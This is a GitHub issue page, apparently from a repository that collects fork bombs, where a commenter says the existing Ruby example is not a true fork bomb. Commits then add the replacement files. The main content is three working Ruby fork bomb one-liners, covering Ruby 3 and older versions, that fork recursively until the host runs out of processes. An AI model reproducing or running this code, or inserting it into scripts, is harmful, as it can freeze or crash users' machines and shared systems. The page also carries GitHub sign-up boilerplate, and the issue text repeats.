We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
The Ruby example loops and forks... I don't think it's a fork bomb at all.
A fork bomb in Ruby 3 will look like this:
#!/usr/bin/env -S ruby --disable-gems method(def f = fork { f && sleep }).call
There's no loop inside. The method f calls itself. It requires no file load, no loop.
f
Modified version for Ruby 3 only:
#!/usr/bin/env -S ruby --disable-gems send(def f = fork { f && sleep })
For lower Ruby versions, we can use stabby lambda, lambda or a proc:
#!/usr/bin/env -S ruby --disable-gems (f = -> { fork { f.() && sleep } }).()
The text was updated successfully, but these errors were encountered:
Update and rename fork-bomb.rb to fork-bomb-all-ruby.rb
ef84fc6
Taken from aaronryank#21 for most/all Ruby versions
Create fork-bomb-ruby-3.rb
2b8c9c2
Taken from aaronryank#21 for Ruby 3 only.
Create fork-bomb-old-ruby-only.rb
a6c42ca
Taken from aaronryank#21 for versions of Ruby older than Ruby 3 only.
well hey I can't create a pull request for you :P
Sorry, something went wrong.
No branches or pull requests
The Ruby example loops and forks... I don't think it's a fork bomb at all.
A fork bomb in Ruby 3 will look like this:
There's no loop inside. The method
f
calls itself. It requires no file load, no loop.Modified version for Ruby 3 only:
For lower Ruby versions, we can use stabby lambda, lambda or a proc:
The text was updated successfully, but these errors were encountered: